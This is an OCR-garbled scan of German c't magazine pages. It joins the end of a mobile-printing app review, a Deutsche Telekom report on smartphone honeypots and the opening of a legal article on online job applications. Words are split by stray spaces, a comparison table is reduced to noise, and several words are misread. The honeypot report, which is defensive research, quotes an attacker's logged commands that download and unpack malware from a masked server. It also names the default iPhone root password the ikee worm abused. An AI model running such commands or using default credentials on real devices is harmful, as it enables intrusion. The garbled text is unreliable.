werkfäh ige  Drucker am Win­
dows-PC oder Mac ansprechen,  
ste l l t  Pr interShare auf e iner eige­
nen Webseite e ine Server-Soft­
ware bereit, d i e  verg l ichen mit  
den SerVern von iCan Pr int und 
Pr int  from Android e inen profes­
s ionel len E indruck macht. 

Für die Freigabe im LAN 
braucht man den Drucker n u r  
a u s  d e r  L iste d e r  a ngesch losse­
nen Geräte a u szuwäh len .  Wi l l  
m a n  i h n  auch ü bers I nternet er­
reichen,  muss  man  s ich bei m 
Pr i nterShare-On l i nedienst reg is­
trieren und ü ber d ie Server-Soft­
ware e in loggen. E in  zusätzl icher 
DynDNS-Account  ist n i cht not­
wendig .  Der Pr interShare-Betrei­
ber lässt s ich se inen I nternet­
Dienst bezah len :  20 Druckseiten 
sind fre i ,  1 00 weitere kosten 
rund 5 US-Do l l a r; fü r 1 0  US-Dol­
lar pro Monat d ruckt man un­
l im it iert ü bers I nternet. 

Pr i nterShare sendet n icht nu r  
B i lder, PDFs  und andere Dateien 
zum Drucker, sondern auch  

2,99 € 

v' lv' lv' l - v' lv' / - 1 -
v' l - 1 - 1 - v' lv' lv' l -
Senden via v' 

Senden via I - v' /v' 
- I - v' /v' 

v' 
v' v' 

Anrufprotokolle 

v' v' 
v' v' 

v' 
v' 

- I - v' lv' 
(kostenpflichtig) 
v' 

Webseiten, SMS, Mai ls, Ka lender­
e i nträge, Konta ktl i sten und An­
rufprotoko l le .  Bi lder sucht man 
aus der Galer ie heraus  a us, was 
wegen der Thu m bna i l s  d ie  Aus­
wah l  er le ichtert. Vor dem Druck 
präsentiert Pr i nterShare e ine Sei­
tenans icht und er lau bt E instel­
l ungen wie Papiergröße, Seiten­
ränder, Ausrichtung,  Druckmo­
dus und -qua l ität und Dup lex­
d ruck. Uns  störte led ig l ich, dass 
das  Papierformat bei jedem 
neuen Drucka uftrag wieder a uf 
dem U S-Format "Letter" stand.  
Beim Drucken von Kontakt l i sten 
feh lten e in ige Sondera ngaben 
wie Beziehungen und  Assisten­
ten; Telefon,  E-Ma i l ,  Ansch rift 
und Notizen l andeten aber auf  
dem Ausd ruck. 

Wie Pr i ntBot i n sta l l iert man 
Pr interShare zunächst a l s  Gratis­
App - sie d ruckt zu Goog le  
C loud Pr int  ohne E inschränkun­
gen,  g i bt a uf Netzwerk-, USB­
und  B luetooth-Druckern aber 
nur Testseiten aus .  Die Premium­
Lizenz kostet rund 1 0  Eu ro und 
scha ltet a l l e  Druckoptionen frei, 
n u r  das Drucken auf eine I nter­
net-Fre igabe über den Pr inter­
Share-Dienst muss man extra be­
zah len .  

Fazit 

Wer für das mobile Drucken kein  
zusätzl iches Ge ld  ausgeben wi l l ,  
kombin iert C loud Pr int  m it Cor­
tado Workplace und  erreicht so 
loka le  Drucker i m  Netz und 
C loud-Pr int-Geräte ü ber  den 
Goog le-Dienst. Die ausgereiftes­
te und flexibelste Lösung bietet 
Pri nterShare - d ie  zehn  Euro fü r 
den Prem i u m  Key s ind gut  an­
gelegt. Pr intBot kostet zwar we­
n iger, i st a ber  n icht a usgereift 
und kennt keine Cloud-Drucker. 
Von den anderen Apps sol lte 
man wegen Kostenfa l l en  und 
schlechter Umsetzung d ie F inger 
lassen.  Geht es nur darum, den 
e igenen Drucker vom Mobi lge­
rät  aus  an sprechen zu können, 
sol lte man  zunächst nach kos­
tenfreien Apps des Drucker-Her­
ste l lers forschen.  ( rop) 
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B erichte über Smartphone-Apps mit ver­
steckten, bösart igen Zusatzfu n kt ionen 

s ind schon fast a n  der  Tagesord nung .  Kein  
Wunder, s i nd  doch Smartphones e in du rch­
aus attraktives Ziel fü r Angreifer. S ie beher­
bergen i nteressante Daten wie Adressbü­
cher, SMSe, E-Mai l s, Fotos bis hin zu F i rmen­
und Zugangsdaten zu a nderen Diensten. 
Und wenn wir demnächst anfangen, Geldge­
schäfte mit dem Handy abzuwicke ln  oder 
damit sogar  d i rekt zu bezah len, wird das fü r 
Betrüger noch viel reizvol ler. 

Weniger Beachtung fi ndet ein a nderes 
Ang riffsszena rio: Die Smartphones haben 
eine quasi permanente Verbi ndung zum I n­
ternet und s ind über d iese pr inzip ie l l  auch  
erre ichbar. K lass ische Würmer  w ie  man s ie  
aus  der Windows-Welt kennt, könnten somit 
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auch Smartphones befa l len und  u nter U m­
ständen sogar  von einem Opfer zum nächs­
ten spr ingen.  

Wie rea l d iese Gefa h r  i st, bewies e in  ju­
gend l icher  Austra l ier, der im  November 2009 
den ersten iPhone-Wurm freisetzte. l kee ver­
bre itete s ich i nnerha lb e iner Woche auf über 
20 000 Smartphones vornehm l ich a uf der 
süd l i chen Ha l bkugel .  Der Austra l i e r  sp ie lte 
noch verg leichsweise harm los mit dem l nter­
net-Mem des Rick-Ro l l ings, bei dem I nternet­
User u nter e inem Vorwand auf  e ine Web­
Seite ge lockt werden,  die i hnen  dann  R ick 
Astleys H it "Never gonna g ive you u p" vor­
spie lt (über H umor lässt s ich beka nnterma­
ßen n icht streiten) .  Der Wurm platzierte Ast­
leys Konterfe i auf dem B i ldsch i rmh inter­
grund der i nfizierten i Phones und präsentier-

te d ie Meldung ", kee is never gonna g ive you 
u p". Woh in  d ie  Reise auch gehen könnte, de­
monstr ierte nahezu g le ichzeitig ein N ieder­
länder, der zunächst 5 Eu ro fü r das Rei n igen 
der  von se iner  l kee-Va ria nte gekaperten 
iPhones ver langte. 

Opfer der Ang riffe waren i Phone-Nutzer, 
d ie  i h r  Gerät mit den se inerzeit gäng igen 
M itte ln  e inem Ja i l b reak u nterzogen hatten 
und dabei oftmals  ohne ihr Wissen die Fern­
wartu ngskonsole openssh mit  i nsta l l i e rten. 
i Kee und nachfolgende, mitu nter ma l iziöse 
Va r ianten g i ngen a l l e  nach dem g le ichen 
Pr inzip vor :  S ie scannten i n  den I P-Adressbe­
reichen des Mobi lfunkanbieters nach aktiven 
SSH-Zugängen und versuchten sich als root­
User m it dem von Apple vore ingeste l lten 
Passwort "a lpine" zu verb inden.  Da d ie meis-
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ten Ja i l breaker n ichts von d ieser SSH-Hinter­
tür  wussten, hatten s ie i h r  Passwort n icht ge­
ändert und der Wurm hatte le ichtes Spie l .  

Aufklärung im mobilen Zeita lter 

Um ein Bi ld davon zu bekommen, was in  den 
Mobi lfunknetzen vie l le icht sonst noch so pas­
siert, betreibt die Deutsche Telekom seit e in i ­
ger Zeit im eigenen Netz sogenannte Honey­
pots, die Angreifer gezielt an locken sol len. Le­
gendärer Vorreiter d ieses Konzepts war B i l l  
Cheswick, der  in  den frühen 90ern e inen  Ein­
brecher in  d ie von ihm admin istrierten Netze 
der AT&T Bel l Laboratories bei seinem Treiben 
l ive beobachtete und seine Er lebnisse i n  dem 
überaus lesenswerten Paper "An Evening with 
Berferd" zusammenfasste ( le icht a uffindbar  
über den c't-Link  am Ende des Artikels) . 

Seither werden Honeypot-Systeme me­
thodisch genutzt, u m  Angriffe auf Computer­
systemen zu stud ieren. Klassische, serversei­
tige Honeypots s imu l ieren Schwachste l len i n  
Diensten und geben Ang reifern Zug riff auf 
e in  System i n  kontro l l ierter Umgebung mit  
dem Z ie l ,  deren Verha lten zu stud ieren und  
Gegen maßnahmen zu entwicke ln .  l n  der  
Weit der PCs  und Server klappt das recht g ut, 
denn d ie  meisten Systeme boten ohneh in  
bereits out-of-the-box Dienste über i h re 
Netzwerksch n ittste l l en  a n  - zumi ndest frü­
her sogar  ungeschützt d u rch F i rewa l l s  dem 
ganzen Internet. 

Vor etwa e inem Jahr  entstand bei der Te­
lekom das im Folgenden besch riebene Kon­
zept der mobi len Honeypots und wurde in 
den eigenen Netzen umgesetzt. Ziel  der  Ent­
wicklung war es, relevante Endgeräte in den 
Mobi lfu n knetzen zu s imu l ieren, u m  Netz­
werk-Angriffe auf d ie  offerierten Dienste zu 
ana lysieren, Ma lware zu sammeln, Trends zu 
verifizieren und a l lgemein Angriffe auf mobi­
le I P-Bereiche zu bewerten .  

A l lerd ings  bieten Smartphones i n  der  
Rege l  zunächst keine  Netzwerkd ienste a n  
u n d  s ind daher fü r Angreifer, d i e  auf Server­
Schwachste l len abzie len, n icht attraktiv. 
Grundsätzl ich lassen sich d u rch spezie l l e  
Apps zwar auch  Server-Dienste ausfüh ren, je­
doch kontro l l ieren und l im itieren die Herstel­
ler  den Zugriff auf das System d u rch Sand­
boxing.  E in erfo lgreicher Angreifer hätte zwar  
mitunter Zugriff auf  sensible Daten, aber den­
noch nur sehr l imitierte Rechte. 

Um die Locksysteme attraktiver zu gesta l­
ten, entschieden wir  uns daher, "entsicherte" 
Geräte zu s imu l ieren, auf denen e in erfo lgrei­
cher Angreifer System rechte er langt. Du rch 
d ieses Ents ichern, das  Ja i l b reak ing bei iOS­
Geräten respektive das Root ing bei Android, 
wird das Gerät von Sicherheitsmecha nismen 
des Herstel lers befreit. Dienste wie SSH, FTP, 
SMB F i leshar ing oder HTTP/WebDAV können 
dann nach insta l l iert und auf Standard-Ports 
ausgefüh rt werden.  

Open Source als Basis 

Die Telekom-Honeypots sol lten auf bereits 
verfügbare Open-Sou rce-Projekte aufsetzen .  
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Die Grund lage fü r d ie  S imu lat ion der  
Smartphones b i ldete der  SSH-Honeypot 
Kippo (auch über den c't-Lin k  zu fi nden) .  Die 
i n  Python implementierte Software lässt An­
g reifer  i n  e iner  s imu l ierten L inux-Term ina l ­
umgebung scha lten und walten und  zeich­
net dabei al le Befeh le auf. Der Zugang ist nu r  
mit  e i nem Trivia l passwort ges ichert, da s  
ohne v i e l  Aufwand e i nen  Admin i strator­
Account fre ig ibt. 

Standard-Li nux-Befeh le  wie cat /etc/passwd 
q u itt iert K ippo dann  ord n u ngsgemäß und  
zeigt den typischen I n ha l t  e iner  Passwort­
Datei an :  

root:x:O:O:root:/root:/bin/bash 
daemon:x:1 :1 :daemon:/usr/sbin:/bin/sh 
b in :x:2:2:bin :/bin :/bin/sh 

Auch Befeh le  wie uptime, uname -a oder cat 
/proc/cpuinfo präsentieren d ie  erwarteten Sys­
temeigenschaften e ines Debia n-Systems.  
Angreifer  können kontro l l i e rt m it K ippo 
i nterag ieren,  a l so zum Beisp ie l  Down loads 
anstoßen und entpacken sowie feh lende Pa­
kete nachinsta l l ieren. E ine typische, von uns 
beobachtete Befeh l sfo lge nach dem Log in  
i s t  etwa: 

wget http:/ /XXXXX.com/juno.tgz 
tar zxvf juno.tgz 
rm -rf junos.tgz 
cd .kde 
chmod a+x 

Da lädt ein Angreifer den vorher zusammen­
geste l lten Schadcode von einem Server u nter 
seiner Kontro l le herunter, packt i hn  mit dem 
Tool tar aus, löscht das Paket und wechselt i n  
das Verzeichn is  m i t  seinen Tools, d ie er dann  
a l l e  a l s  a usfüh rbar markiert. Ansch l ießend 
sta rtet er meist e ine Skr iptdatei wie ./start.sh, 
die weitere Standardaktionen bündelt. 

Dabei speichert der Honeypot die herun­
terge ladenen Dateien im  H i nterg rund fü r 
spätere Ana lysen, mappt s ie aber  in das v i r­
tuel le F i lesystem des Angreifers, damit d ieser 
weiter damit a rbeiten kann .  Ü berhau pt s ind 
a l le  Änderungen,  d ie  der Angreifer a n  dem 
System vorn immt, n icht persistent, sondern 
nur fü r seine Session g ü lt ig. 

Das tatsäch l iche Ausfüh ren nachinsta l l ier­
ter Prog ramme verweigert Kippo a l lerd ings  
m it e inem s imu l ierten "Segmentation fau l t" . 
Wi l l  der Angreifer eigene, heruntergeladene 
Skri pte a u sfü h ren,  g i bt s ich der  Honeypot 
m it "0 RLY?" oder dem War-Games-Zitat 
"Sha l l  we play a game?" zu erkennen.  Zu d ie­
sem Zeitpunkt s ind die meisten wichtigen In ­
formationen wie Down load-Adresse und d ie 
Ma lware ohneh in schon für weitere Analysen 
a u ßerha l b  der Reichweite des Angreifers ge­
s ichert. 

Der ikee-Wurm kaperte schon 
2009 rund 20 000 iPhones. 

Report I Smartphone-Honeypots 

Auf den Leim gegangen 

Für den folgenden,  enttäuschten Abgang 
hat Kippo a l lerd i ngs noch e inen Joker in  der 
H i nterhand.  Der Honeypot fängt Logout-Be­
feh le  wie ,exit', , logout' oder d ie  Tastenkom­
bination ctrl+d ab und präsentiert dem An­
g reifer einen s imu l ierten Logout und einen 
Un ix-She i i -Prompt. N icht selten g laubt sich 
der Angreifer danach zurück auf seinem 
U n ix-Proxy, der a l s  Ausgangsbasis fü r seine 
Aktivitäten d ient. Da es s ich dabei i n  der 
Regel  nicht um den Arbeitsplatzrechner, son­
dern um fremde, ebenfa l l s  kompromitt ierte 
Server-Systeme handelt, fä l l t  i hm häufig der 
fa lsche P rompt nicht auf und Kippo kann  
seine weiteren Aktivitäten aufzeichnen - also 
wie er s ich etwa zu anderen Systemen wei­
terverbinden wi l l .  

An d iesem Punkt kan n  man a l s  Ana lyst 
beim Abspielen der aufgezeichneten Aktio­
nen in  Echtzeit richtig Spaß haben. Wenn der 
Angreifer beispielsweise ein weiteres System 
kontaktiert, das dann ebenfa l l s  vom Honey­
pot s imu l ie rt wi rd,, und  er bemerkt, dass 
etwas nicht stimmt, kann  man an  den immer 
hektischer getippten Befeh len die langsam 
a ufste igende Pan i k  beobachten: vier, fü nf 
wiederholte exit- · und  logout-Befeh le, das 
Aufbl itzen des Prompts im Termina l , das auf 
einen Tastatu rbefeh l  wie ctrl+d sch l ießen 
lässt und schl ießl ich der verzweifelte Versuch 
mit  kill -9 sshd den SSH-Daemon hart abzu­
schießen, was natü r l ich ebenfa l l s  zum Schei­
tern veru rtei lt i st. Über den c't-Link finden Sie 
e in  Video mit e in paar der mit Kippo aufge­
zeichneten Attacken.  

Die Fa l lenjagd 

Out-of-the-box präsentiert Kippo e in System, 
das s ich an e inem typischen Debian 
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Die virtuellen Honeypots verwendeten jeweils einen der an den Server 
angesteckten UMTS-Sticks als Internet-Zugang. 

GNU/Linux orientiert, wie es auf vie len Ser­
vern zum E insatz kommt. Das m ussten wir  
natü r l ich mög l i chst gut an  unsere Zie lplatt­
formen anpassen. Aufgrund der L inux-ähn l i­
chen E igenschaften von Android und  
i (Phone)OS war es ohne g roßen Aufwa nd 
mögl ich, e ine passende Termina l s imu lat ion 
zu entwicke ln .  Die Syntax der meisten Kom­
mandos und auch deren Antwort auf der  
Konsole u nterscheiden s ich nur  i n  Deta i l s .  
Außerdem haben wi r  e in ige neue Befeh le  
w ie  dmesg und  netcfg h i nzugefügt und  
nicht vorhandene Funktionen w ie  d ie bei ge­
rooteten Android-Systemen fehlende Paket­
verwa ltung entfernt. 

Die Open Source Software wurde sch luss­
endl ich so umgeschrieben, dass sie der Termi­
nalausgabe eines gerooteten Android 2.2 und 
eines iPhone OS 3.1 mit Ja i lbreak g leicht - in­
klusive S imu lation des zugrunde l iegenden 
F i lesystems mit den entsprechenden Dateien. 

Um die Eintrittshürde für Angreifer n iedrig zu 
ha lten, wurde bei der iPhone-S imu lation das 
vore ingestel lte root-Passwort "a lpine" ge­
wäh lt, bei Android ein Trivia lpasswort. 

Um so viel I nformationen wie mög l ich zu 
sammeln ,  besch ränkten wir  uns jedoch n icht 
auf den SSH-Dienst. Mit weiteren Open-Sour­
ce-Kom ponenten ste l lten wi r  zusätzl iche 
Dienste bereit: E ine angepasste Vers ion des 
Web-Honeypots G lastopf s imu l iert e inen 
Med ia-Server mit Upload-Formu la r  i n  das s i ­
mu l ierte Smartphone-F i lesystem. 

Der Breitband-Honeypot honeytrap ag iert 
a l s  v i rtue l les  F l i egenklebeba nd zur  generi ­
schen Erkennung von Angriffen über den ge­
samten Port-Bereich e ines Netzwerk-End­
punkts, u m  Wu rm-Traffic und spezie l le  Ex­
ploits a bzufangen .  Honeytrap b indet dazu 
bei Verb indungsversuchen dynamisch Ports 
und sch reibt e ingehende Daten zur weiteren 
Ana lyse weg. Es profit iert dabei von der Tat-

Honeypot-Server 

Angreifer 

Die Honeypots nutzten einen speziel len 
APN, um die Schutzmaßnahmen für mobile 
Clients zu umgehen. 
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sache, dass Würmer oder Exploit-Tools oft­
mals  keinen protoko l l konformen Handshake 
benötigen, sondern d ie  Daten "b l ind" ü ber 
e ine bestehende TCP-Verb indung senden,  
ohne d ie Antwort auszuwerten .  

Auf Grund lage d ieser Honeypot-Dienste 
wurden sch l ieß l ich ein geja i lb reaktes i Phone 
und ein gerootetes Andro id-Handy s imu­
l ie rt, d ie  gerätespezifische Dienste anbieten 
und zudem generische Angriffe auf bel iebi­
gen Ports reg istr ieren .  Darüber h inaus  offe­
r ierten wir  noch e in  weiteres mobi les Endge­
rät in Form e ines  Windows Laptops mit  
U MTS-Zugang .  Dort s imu l ie rte der  Honey­
pot D ionaea d iverse Schwachste l len  von 
Microsoft Windows. 

Und rein ins mobi le Netz . . .  

U m  bei Geschwind igkeitstests keine Auffä l ­
l i gkeiten zu erzeugen,  entschieden wir  uns 
dafü r, d ie  Honeypots ganz regu lä r  v ia  UMTS 
ans  Netz der  Deutschen Telekom a nzub in­
den.  A l lerd ings  kamen uns  dabei unsere e i ­
genen Schutzmaßnahmen e in  wen ig i n  d ie 
Quere. Denn i n  den deutschen Mobi lfu n k­
netzen ist d ie  Kom m u n i kation zwischen 
C l ients standardmäß ig  n icht er laubt. E in 
Wurm wie l kee kön nte s ich somit nicht von 
e inem iPhone zum nächsten hangeln .  

Außerdem verwenden d ie  UMTS-Netze 
private I P-Ad ressen, d ie  erst ü ber  e in  NAT­
Gateway i n s  öffent l iche I nternet ge langen.  
Somit wä re e in  UMTS-Honeypot aus  dem In­
ternet gar  n icht d i rekt zu erreichen. Wir be­
ha lfen uns  desha lb  m it e inem spezie l len Zu­
gangspunkt (APN)  mit  Zugang zum UMTS­
Netz, h i nter dem unsere s imu l ierten Endge­
räte a uch aus dem Internet erreichbar waren. 

Beobachten, auswerten, 
i nformieren, schützen 

Die im  Mobi lfu n knetz p latzierten Honeypots 
l iefern seit n unmehr  etwas ü ber e inem Jahr  

; 
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konti n u ier l ich Daten zu Ang riffen,  Exploits 
und heruntergeladener Ma lware an  e in  zen­
trales Auswertesystem, a n  das derzeit knapp 
40 weitere Sensoren aus anderen I P-Seg­
menten angesch lossen sind. Hier werden die 
Daten aggregiert, ana lysiert und Ma lware an 
d ie Anti-Vi ren-I ndustrie vertei lt. 

Die Erkenntn isse lassen sich vie lschicht ig 
n utzen .  S ie fl ießen zum einen i n  Form von 
Statist iken und Trends in  den Quartalsbericht 
"Sicherheit im  I nternet" der Deutschen Tele­
kom ein. Des Weiteren werden offensicht l ich 
infizierte Kunden, deren I P-Adressen bei An­
g riffen auf d ie Honeypots reg i str iert wurden, 
darü ber  informiert, dass Ang riffe ü ber  i h re 
i nfizierten Rech ner d u rchgefü h rt werden .  
Und sch l ieß l i ch  l assen s ich I nformat ionen 
ü ber d ie  Angreifer n utzen, u m  d ie  e igenen 
Systeme gegen Angriffe zu schützen .  

Etwas ü berrascht hat uns  be i  der Auswer­
tung, dass d ie Zah l  der Angriffsversuche a uf 
d ie I P-Adressbereiche im Mobi lfunknetz der  
Telekom kau m  u nter der auf Honeypots mit  
Festnetz-I P-Adressen l iegt. D ie Ang reifer 
scannen offenbar  ohne U ntersch ied a l l e  
Netze auf  Schwachste l len,  u m  so  viele Geräte 
wie mög l ich u nter i h re Kontro l le  zu br ingen.  

Auch das Vorgehen der Angreifer auf den 
Smartphone-Honeypots u nterscheidet s ich ­
zumindest b is lang - n icht nennenswert von 
dem, was von den Festnetz-Sensoren erfasst 
wird :  Nach erfo lg re ichem She i i -Zugriff und  
dem Ausfü h ren e i n i ge r  Sta ndard befeh le  
wird meist Ma lwa re heru nterge laden und  
versucht, den Rechner  zum Tei l  e i ne s  I RC­
Botnets zu machen. 

I nsgesamt kann man fast den E indruck ge­
winnen, dass wir die Fäh igkeiten und Flexibi­
l ität der Angreifer etwas ü berschätzt haben. 
Dass d ie Systemeigenschaften, wie d ie Exis­
tenz bestimmter Verzeichn isse und Dateien, 
nicht stimmen, interessiert d ie meisten n icht. 
Befehle werden g rößtentei ls  b l ind und ohne 
Einbeziehung der Systemeigenschaften abge­
setzt. Obwohl etwa das reduzierte Android-Fi­
lesystem angezeigt wird, versuchen viele Ein­
dring l inge sich immer wieder stu r  du rch Ver­
zeichn isse von Standard-Li nux-Systemen zu 
bewegen. Und auch wenn die Systemeigen­
schaften einen parwin-Kern auf e inem ARM 
Prozessor präsentieren, wi rd versucht, über 
das bei  Red Hat übl iche Tool yum Pakete zu 
insta l l ieren. Angezeigte Prozess l i sten wie 

system 275 66 . . . S com.android.settings 
app_1 300 66 . . .  S com.htc.bgp 
app_73 306 66 . . . S berserker.android.apps.sshdroid 

75 % China 

8 % 5onstige 

1 % Deutsch land 
3 % Frankreich 

-- S % Korea 
---- 7 % USA 

Die überwiegende Mehrzah l  
der Angriffe kam aus dem Ausland. 

d ie  offenkund ig  zu e inem Android-System 
gehören,  fi nden kei ne weitere Beachtung .  
Daraus  l ässt s ich sch l ießen, dass  es h ie r  i m  
A l lgemeinen n icht u m  I nha lte d e r  Geräte 
oder spezifische Systemeigenschaften geht, 
sondern meist n u r  um die Kontro l le  ü ber  
e ine weitere Drone fü r das Bot-Netz. 

A l lerd ings  kon nten wir  zumindest verein­
zelt auch schon gezie lte Angriffe auf  die 
Smartphones beobachten :  So kopierte e in 
Ang reifer  i n  e iner SSH-S itzung gezielt das  
Ad ressbuch des s imu l ie rten i Phones sowie 
dessen Foto-Ordner. Solche Angriffe erfo lg­
ten dann n icht gescriptet oder sogar  vol lau­
tomatis iert wie bei m  i Kee-Wurm, so.ndern 
manue l l , nachdem der Ang reifer  etwa an 
Verzeichn i snamen erkannte, dass er  a uf 
e inem iPhone gelandet war. 

Virtuel le Beute 

I n nerha l b  eines Jahres haben d ie d re i  Honey­
pots im Mobi lfunknetz insgesamt fast 5 M i l­
l ionen Angriffe reg istr iert. Diese füh rten zu 
ü ber  60 000 Down Ioads, darunter Windows­
Executables,  PH P-Skripte, She i i -Bots, I RC­
Bouncer und L inux-Rootkits. Auf den Tag ge­
rechnet s ind das ü ber 4000 Angriffe und im­
merh in  etwa 50 Downloads pro s imu l iertem 
Gerät. 

A l l e i n  a uf den SSH-Honeypots fü r iOS 
und Andro id  reg istr ierten w i r  t rotz Pass­
wortabfrage  ü ber  1 200 e rfo lg re iche Log ins .  
G lastopf protoko l l i e rte soga r  etwa 6300 An­
g riffe a uf d ie  Smartphone-Webdienste. Viel  
Zuspruch verze ich nete der Windows-Ho­
neypot, wo rund 4300 Ang re ifer rund  
85 000-ma l  A la rm aus lösten .  D ie be l iebtes­
ten Ports waren dabei  1 433 (MS SQL Server), 
80 (HTTP), 22 (SSH) und  5060 (Vo i P  S I P) .  

Der Angreifer kopiert gezielt Adressbuch und Bi lder 
des vermeintlichen iPhones. 
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Die verg le ichsweise hohe Gesamtzah l  der 
Angriffe kommt vor a l lem dadu rch zustan­
de, dass honeytra p den gesamten Port-Be­
reich abdeckt u n d  dabe i  jede TCP-Verbin­
dung a l s  Angriff zäh lt, ü ber d ie Daten gesen­
det werden .  Ein F i ngerpr int ing des a ntizi­
p ierten Server-D ienstes wi rd dabei bereits 
als Angriff gewertet. 

A l lerd ings  i st d ie  Defi n it ion e i nes Events 
von Honeypot zu Honeypot u nterschiedl ich:  
G lastopf erzeugt erst dann Events, wenn  be­
stimmte, a l s  potenziel l  bed roh l ich e ingestuf­
te Requests abgesetzt werden; normale Auf­
rufe der Web-Seite wertet d ieser Honeypot 
n icht a l s  Attacke. Kippo zäh lt  jeden SSH-Con­
nect m it Passwortei ngabe als Angriff. Auch 
das kan n  bei Bruteforce-Angriffen natü r l ich 
i n  d ie Höhe gehen, wenng leich d ie gewähl­
ten Standardpasswörter typischerweise weit 
oben auf den Listen stehen. 

I n sgesamt beobachteten wir  Angriffe von 
rund 1 3  000 I P-Adressen, d ie  sehr breit über 
den Globus verstreut waren:  Ch ina, d ie USA, 
Korea und  Frankreich gehören deutl ich vor 
Deutsch land zu den Top-Ländern. Android­
oder iOS-spezifische Schadprogramme oder 
Exploits haben die Honeypots bisher n icht 
entdeckt. 

I n sgesamt ka n n  man nach der Ana lyse 
der Honeypot-Ergebn i sse fü r normale 
Smartphone-N utzer vors icht ig Entwarnung 
geben :  S ie s ind trotz der v ie len Angriffe zu­
mindest i n  den deutschen Mobi lfunknetzen 
keinen  g roßen Bedrohu ngen d u rch netz­
werkseit ige Angriffe ausgesetzt. Die Adress­
umsetzung du rch NAT, das U nterbinden von 
I nter C l ient Comm u n icat ion und  letzten 
Endes auch d ie feh lenden Dienste der Mo­
b i l fu n kgeräte b ieten kau m  Angriffsfläche.  
Mög l icherweise wird s ich das  i n  Zukunft m it 
1 Pv6 aber  ändern.  

G rößer i st derzeit s icher l ich d ie  Gefa h r  
d u rch trojan is ie rte Appl i kat ionen i n  App­
stores und mög l icherweise du rch Drive-by­
l nfekt ionen du rch Schwachste l len in C l ient­
Software wie dem Webkit-Browser. Solche 
Angriffe lassen s ich m it den h ier vorgestel l ­
ten mobi len Honeypots n icht  entdecken. Es  
g ibt a l lerd ings auch dafü r  bereits Honeypot­
Ansätze, d ie  Angriffe beim a ktiven Crawlen 
von Appstores und potenzie l l  bösa rtigen 
Webseiten aufspüren .  Wir  p lanen, d ie  von 
uns  vorgenommenen Erweiterungen i nsbe­
sondere an  Kippo in den nächsten Monaten 
in Form von Open Sou rce an  die Community 
zurückzugeben. Die mobi len Honeypots der 
Telekom werden weiter als Tei l  des Früh­
warnsystems betrieben, u m  die Bedrohungs­
lage auf Smartphones in den Mobi lfunknet­
zen zu beobachten. Auch wi r  geben so 
schne l l  n icht auf. Uu) 

Andre Vorbach arbeitet in der Group IT 
Security der Deutschen Telekom. Er konzipierte 
und realisierte dort das Projekt "Mobile Honey­
pots"  im Rahmen des Frühwarnprojekts. 

www.ct.de/7175734 
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Recht I Onl ine-Bewerbungen 

Dr. Noogie C. Kaufmann 

Personal im Datenformat 
Rechtl iche Fa l l stricke bei O n l i ne-Bewerbungen 

Wenn e s  darum geht, 
neue Mita rbeiter zu 
gewinnen, n utzen Arbeit­
geber zunehmend das 
I nternet. Onl ine-Bewerbung 
und -Kandidatenakqu ise 
werfen jedoch rechtl iche 
Probleme auf - von der 
Datensicherheit über 
Zugriffsrechte bis hin 
zu Löschungsfristen.  

Turmbauten aus Bewerbu ngsmappen wer­
den auf den Schreibtischen von Personal­

entscheidern immer seltener: Die von vielen 
Unternehmen heute standardmäßig oder 
sogar aussch l ieß l ich erwarteten Bewerbun­
gen per Onl ine-Formu la r  belegen Fest- statt 
Tischplatten.  Vorzu legende Zeug n isse und 
andere Unterlagen werden gescannt und a l s  
Bi lddateien per Kl ick im Webformular hochge­
laden - oder als Attachment an  Bewerbungs­
E-Ma i l s  angehängt [ 1 ] .  Mit der erfo lgreichen 
d ig ita len Übermitt lung von Namens- und  
Adressdaten, Lebens läufen, Geha ltsvorste l­
l ungen und a l ler lei  anderen Bestandte i len 
e iner Bewerbung s ind aus rechtl icher S icht a l ­
lerd ings d ie entscheidenden Fragen noch 
n icht erledigt - vie lmehr  beg innen s ie h ier 
erst. E in besonders wicht iger Gesichtspunkt 
beim Umgang mit Bewerberdaten betrifft die 
in  Deutschland geltenden Best immungen zur 
Datensicherheit 

Zankapfel Versch lüsselung 

Müssen U nternehmen, d ie on l ine Bewerbun­
gen entgegennehmen,  be isp ie lsweise zum 
Schutz der Privatsphäre von Bewerbern Ver­
sch lüssel ungstechn iken fü r d ie  Datenüber­
tragung zur Verfügung ste l len? Die a l lgemei­
nen Vorgaben i n  puncto Datens icherheit l ie­
fert das Bundesdatenschutzgesetz (BDSG), 
insbesondere dessen § 9 samt e iner Anlage 
dazu [2] . Danach muss e in  Website-Betreiber 
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d ie erforder l ichen "techn ischen und  organ i­
sator ischen Maßnah men" zum Schutz von 
personenbezogenen Daten treffen .  Es l i egt 
auf der Hand,  dass auch Bewerberdaten da­
runter fa l l en .  Relat iv verständ l i ch  i st auch 
noch d ie  i n  der genannten Anlage vorgese­
hene "Weitergabekontro l l e": U nternehmen 
müssen dafü r  sorgen, dass beim Transport 
der Daten pa kete ü bers Netz d ie personenbe­
zogenen Daten n icht von U nbefugten gele­
sen, verändert oder kopiert werden können .  
Ob s ich da raus  e ine ausd rückl iche gesetz l i ­
che Pfl icht zur  Chiffrierung erg ibt, ist umstrit­
ten. Die Anlage zu § 9 BDSG sieht aber fü r d ie 
"Weitergabekontro l le" a l s  e ine techn ische 
Maßnahme " insbesondere d ie  Verwendung 
von dem Stand der Techn ik  entsprechenden 
Versch lüssel ungsverfah ren" vor. 

Im Zusa mmenhang mit e iner  denkba ren 
Kod ierungspfl icht  wandert seit geraumer  
Zeit e in  U rtei l  de s  Verwa ltungsger ichts (VG) 
Ber l i n  d u rch O n l i ne-Diskuss ionsforen und  
B logs [3]. l n  dem Fa l l, u m  den es dabei  geht, 
erh ie lt  ein gewerb l icher  Arbeitsverm itt le r  
Post  vom Ber l i ne r  Beauftragten fü r Daten­
schutz und I nformationsfre iheit, der  ihm die 
u nversch l üsselte Ü berm ittl u n g  von Bewer-

. berprofi l en  an potenzie l le  Arbeitgeber ver­
bieten wol lte. Auch das Arg u ment des Ver­
m itt lers, dass die Kand idaten ausdrückl ich i n  
d i e  n icht kod ierte Ü bertragung e ingewi l l igt 
hätten, wol lte der  Berl i ner Datenhüter n icht 
gelten lassen. 

Das VG verwarf d iese Ansicht und wies 
darauf hin, dass d ie E inwi l l igung  der Aspiran­
ten zur u nversch l ü sselten Datenüberm itt­
l ung  rechtswi rksam ertei l t  wurde. Das Bun­
desdatenschutzgesetz, so das Gericht, könne 
n icht  dazu füh ren, "den Betroffenen i n  der  
Weise zu entmünd igen,  dass er n icht mehr  
berechtigt wäre, e ine Vera rbeitung se iner  
Daten zu b i l l igen". 

Fü r  d ie üb l ichen Wege der On l ine-Bewer­
